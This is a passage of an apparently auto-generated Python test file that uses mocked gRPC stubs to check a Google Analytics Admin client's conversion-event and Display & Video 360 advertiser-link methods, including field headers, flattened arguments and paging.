# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_conversion_event), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
response = await client.delete_conversion_event(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteConversionEventRequest()
# Establish that the response is the type that we expect.
assert response is None
@pytest.mark.asyncio
async def test_delete_conversion_event_async_from_dict():
await test_delete_conversion_event_async(request_type=dict)
def test_delete_conversion_event_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.DeleteConversionEventRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_conversion_event), "__call__"
) as call:
call.return_value = None
client.delete_conversion_event(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_delete_conversion_event_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.DeleteConversionEventRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_conversion_event), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
await client.delete_conversion_event(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_delete_conversion_event_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_conversion_event), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.delete_conversion_event(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_delete_conversion_event_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.delete_conversion_event(
analytics_admin.DeleteConversionEventRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_delete_conversion_event_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_conversion_event), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.delete_conversion_event(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_delete_conversion_event_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.delete_conversion_event(
analytics_admin.DeleteConversionEventRequest(), name="name_value",
)
def test_list_conversion_events(
transport: str = "grpc", request_type=analytics_admin.ListConversionEventsRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_conversion_events), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListConversionEventsResponse(
next_page_token="next_page_token_value",
)
response = client.list_conversion_events(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListConversionEventsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListConversionEventsPager)
assert response.next_page_token == "next_page_token_value"
def test_list_conversion_events_from_dict():
test_list_conversion_events(request_type=dict)
def test_list_conversion_events_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_conversion_events), "__call__"
) as call:
client.list_conversion_events()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListConversionEventsRequest()
@pytest.mark.asyncio
async def test_list_conversion_events_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.ListConversionEventsRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_conversion_events), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListConversionEventsResponse(
next_page_token="next_page_token_value",
)
)
response = await client.list_conversion_events(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListConversionEventsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListConversionEventsAsyncPager)
assert response.next_page_token == "next_page_token_value"
@pytest.mark.asyncio
async def test_list_conversion_events_async_from_dict():
await test_list_conversion_events_async(request_type=dict)
def test_list_conversion_events_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ListConversionEventsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_conversion_events), "__call__"
) as call:
call.return_value = analytics_admin.ListConversionEventsResponse()
client.list_conversion_events(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_conversion_events_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ListConversionEventsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_conversion_events), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListConversionEventsResponse()
)
await client.list_conversion_events(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_list_conversion_events_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_conversion_events), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListConversionEventsResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_conversion_events(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
def test_list_conversion_events_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_conversion_events(
analytics_admin.ListConversionEventsRequest(), parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_conversion_events_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_conversion_events), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListConversionEventsResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListConversionEventsResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_conversion_events(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
@pytest.mark.asyncio
async def test_list_conversion_events_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_conversion_events(
analytics_admin.ListConversionEventsRequest(), parent="parent_value",
)
def test_list_conversion_events_pager():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_conversion_events), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListConversionEventsResponse(
conversion_events=[
resources.ConversionEvent(),
resources.ConversionEvent(),
resources.ConversionEvent(),
],
next_page_token="abc",
),
analytics_admin.ListConversionEventsResponse(
conversion_events=[], next_page_token="def",
),
analytics_admin.ListConversionEventsResponse(
conversion_events=[resources.ConversionEvent(),], next_page_token="ghi",
),
analytics_admin.ListConversionEventsResponse(
conversion_events=[
resources.ConversionEvent(),
resources.ConversionEvent(),
],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_conversion_events(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, resources.ConversionEvent) for i in results)
def test_list_conversion_events_pages():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_conversion_events), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListConversionEventsResponse(
conversion_events=[
resources.ConversionEvent(),
resources.ConversionEvent(),
resources.ConversionEvent(),
],
next_page_token="abc",
),
analytics_admin.ListConversionEventsResponse(
conversion_events=[], next_page_token="def",
),
analytics_admin.ListConversionEventsResponse(
conversion_events=[resources.ConversionEvent(),], next_page_token="ghi",
),
analytics_admin.ListConversionEventsResponse(
conversion_events=[
resources.ConversionEvent(),
resources.ConversionEvent(),
],
),
RuntimeError,
)
pages = list(client.list_conversion_events(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_conversion_events_async_pager():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_conversion_events),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListConversionEventsResponse(
conversion_events=[
resources.ConversionEvent(),
resources.ConversionEvent(),
resources.ConversionEvent(),
],
next_page_token="abc",
),
analytics_admin.ListConversionEventsResponse(
conversion_events=[], next_page_token="def",
),
analytics_admin.ListConversionEventsResponse(
conversion_events=[resources.ConversionEvent(),], next_page_token="ghi",
),
analytics_admin.ListConversionEventsResponse(
conversion_events=[
resources.ConversionEvent(),
resources.ConversionEvent(),
],
),
RuntimeError,
)
async_pager = await client.list_conversion_events(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, resources.ConversionEvent) for i in responses)
@pytest.mark.asyncio
async def test_list_conversion_events_async_pages():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_conversion_events),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListConversionEventsResponse(
conversion_events=[
resources.ConversionEvent(),
resources.ConversionEvent(),
resources.ConversionEvent(),
],
next_page_token="abc",
),
analytics_admin.ListConversionEventsResponse(
conversion_events=[], next_page_token="def",
),
analytics_admin.ListConversionEventsResponse(
conversion_events=[resources.ConversionEvent(),], next_page_token="ghi",
),
analytics_admin.ListConversionEventsResponse(
conversion_events=[
resources.ConversionEvent(),
resources.ConversionEvent(),
],
),
RuntimeError,
)
pages = []
async for page_ in (await client.list_conversion_events(request={})).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
def test_get_display_video360_advertiser_link(
transport: str = "grpc",
request_type=analytics_admin.GetDisplayVideo360AdvertiserLinkRequest,
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_display_video360_advertiser_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.DisplayVideo360AdvertiserLink(
name="name_value",
advertiser_id="advertiser_id_value",
advertiser_display_name="advertiser_display_name_value",
)
response = client.get_display_video360_advertiser_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetDisplayVideo360AdvertiserLinkRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.DisplayVideo360AdvertiserLink)
assert response.name == "name_value"
assert response.advertiser_id == "advertiser_id_value"
assert response.advertiser_display_name == "advertiser_display_name_value"
def test_get_display_video360_advertiser_link_from_dict():
test_get_display_video360_advertiser_link(request_type=dict)
def test_get_display_video360_advertiser_link_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_display_video360_advertiser_link), "__call__"
) as call:
client.get_display_video360_advertiser_link()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetDisplayVideo360AdvertiserLinkRequest()
@pytest.mark.asyncio
async def test_get_display_video360_advertiser_link_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.GetDisplayVideo360AdvertiserLinkRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_display_video360_advertiser_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.DisplayVideo360AdvertiserLink(
name="name_value",
advertiser_id="advertiser_id_value",
advertiser_display_name="advertiser_display_name_value",
)
)
response = await client.get_display_video360_advertiser_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetDisplayVideo360AdvertiserLinkRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.DisplayVideo360AdvertiserLink)
assert response.name == "name_value"
assert response.advertiser_id == "advertiser_id_value"
assert response.advertiser_display_name == "advertiser_display_name_value"
@pytest.mark.asyncio
async def test_get_display_video360_advertiser_link_async_from_dict():
await test_get_display_video360_advertiser_link_async(request_type=dict)
def test_get_display_video360_advertiser_link_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetDisplayVideo360AdvertiserLinkRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_display_video360_advertiser_link), "__call__"
) as call:
call.return_value = resources.DisplayVideo360AdvertiserLink()
client.get_display_video360_advertiser_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_display_video360_advertiser_link_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetDisplayVideo360AdvertiserLinkRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_display_video360_advertiser_link), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.DisplayVideo360AdvertiserLink()
)
await client.get_display_video360_advertiser_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_display_video360_advertiser_link_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_display_video360_advertiser_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.DisplayVideo360AdvertiserLink()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_display_video360_advertiser_link(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_get_display_video360_advertiser_link_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_display_video360_advertiser_link(
analytics_admin.GetDisplayVideo360AdvertiserLinkRequest(),
name="name_value",
)
@pytest.mark.asyncio
async def test_get_display_video360_advertiser_link_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_display_video360_advertiser_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.DisplayVideo360AdvertiserLink()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.DisplayVideo360AdvertiserLink()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_display_video360_advertiser_link(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_get_display_video360_advertiser_link_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_display_video360_advertiser_link(
analytics_admin.GetDisplayVideo360AdvertiserLinkRequest(),
name="name_value",
)
def test_list_display_video360_advertiser_links(
transport: str = "grpc",
request_type=analytics_admin.ListDisplayVideo360AdvertiserLinksRequest,
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_display_video360_advertiser_links), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListDisplayVideo360AdvertiserLinksResponse(
next_page_token="next_page_token_value",
)
response = client.list_display_video360_advertiser_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListDisplayVideo360AdvertiserLinksRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListDisplayVideo360AdvertiserLinksPager)
assert response.next_page_token == "next_page_token_value"
def test_list_display_video360_advertiser_links_from_dict():
test_list_display_video360_advertiser_links(request_type=dict)
def test_list_display_video360_advertiser_links_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_display_video360_advertiser_links), "__call__"
) as call:
client.list_display_video360_advertiser_links()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListDisplayVideo360AdvertiserLinksRequest()
@pytest.mark.asyncio
async def test_list_display_video360_advertiser_links_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.ListDisplayVideo360AdvertiserLinksRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_display_video360_advertiser_links), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListDisplayVideo360AdvertiserLinksResponse(
next_page_token="next_page_token_value",
)
)
response = await client.list_display_video360_advertiser_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListDisplayVideo360AdvertiserLinksRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListDisplayVideo360AdvertiserLinksAsyncPager)
assert response.next_page_token == "next_page_token_value"
@pytest.mark.asyncio
async def test_list_display_video360_advertiser_links_async_from_dict():
await test_list_display_video360_advertiser_links_async(request_type=dict)
def test_list_display_video360_advertiser_links_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ListDisplayVideo360AdvertiserLinksRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_display_video360_advertiser_links), "__call__"
) as call:
call.return_value = analytics_admin.ListDisplayVideo360AdvertiserLinksResponse()
client.list_display_video360_advertiser_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_display_video360_advertiser_links_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ListDisplayVideo360AdvertiserLinksRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_display_video360_advertiser_links), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListDisplayVideo360AdvertiserLinksResponse()
)
await client.list_display_video360_advertiser_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_list_display_video360_advertiser_links_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_display_video360_advertiser_links), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListDisplayVideo360AdvertiserLinksResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_display_video360_advertiser_links(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
def test_list_display_video360_advertiser_links_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_display_video360_advertiser_links(
analytics_admin.ListDisplayVideo360AdvertiserLinksRequest(),
parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_display_video360_advertiser_links_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_display_video360_advertiser_links), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListDisplayVideo360AdvertiserLinksResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListDisplayVideo360AdvertiserLinksResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_display_video360_advertiser_links(
parent="parent_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
@pytest.mark.asyncio
async def test_list_display_video360_advertiser_links_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_display_video360_advertiser_links(
analytics_admin.ListDisplayVideo360AdvertiserLinksRequest(),
parent="parent_value",
)
def test_list_display_video360_advertiser_links_pager():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_display_video360_advertiser_links), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListDisplayVideo360AdvertiserLinksResponse(
display_video_360_advertiser_links=[
resources.DisplayVideo360AdvertiserLink(),
resources.DisplayVideo360AdvertiserLink(),
resources.DisplayVideo360AdvertiserLink(),
],
next_page_token="abc",
),
analytics_admin.ListDisplayVideo360AdvertiserLinksResponse(
display_video_360_advertiser_links=[], next_page_token="def",
),
analytics_admin.ListDisplayVideo360AdvertiserLinksResponse(
display_video_360_advertiser_links=[
resources.DisplayVideo360AdvertiserLink(),
],
next_page_token="ghi",
),
analytics_admin.ListDisplayVideo360AdvertiserLinksResponse(
display_video_360_advertiser_links=[
resources.DisplayVideo360AdvertiserLink(),
resources.DisplayVideo360AdvertiserLink(),
],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_display_video360_advertiser_links(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(
isinstance(i, resources.DisplayVideo360AdvertiserLink) for i in results
)
def test_list_display_video360_advertiser_links_pages():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_display_video360_advertiser_links), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListDisplayVideo360AdvertiserLinksResponse(
display_video_360_advertiser_links=[
resources.DisplayVideo360AdvertiserLink(),
resources.DisplayVideo360AdvertiserLink(),
resources.DisplayVideo360AdvertiserLink(),
],
next_page_token="abc",
),
analytics_admin.ListDisplayVideo360AdvertiserLinksResponse(
display_video_360_advertiser_links=[], next_page_token="def",
),
analytics_admin.ListDisplayVideo360AdvertiserLinksResponse(
display_video_360_advertiser_links=[
resources.DisplayVideo360AdvertiserLink(),
],
next_page_token="ghi",
),
analytics_admin.ListDisplayVideo360AdvertiserLinksResponse(
display_video_360_advertiser_links=[
resources.DisplayVideo360AdvertiserLink(),
resources.DisplayVideo360AdvertiserLink(),
],
),
RuntimeError,
)
pages = list(client.list_display_video360_advertiser_links(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_display_video360_advertiser_links_async_pager():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
